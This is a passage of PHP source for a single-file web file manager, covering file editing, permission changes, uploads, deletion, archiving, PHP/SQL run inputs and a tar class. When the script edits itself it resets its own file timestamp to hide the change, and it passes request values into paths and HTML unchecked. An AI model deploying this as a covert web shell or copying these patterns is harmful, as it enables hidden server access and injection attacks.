$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
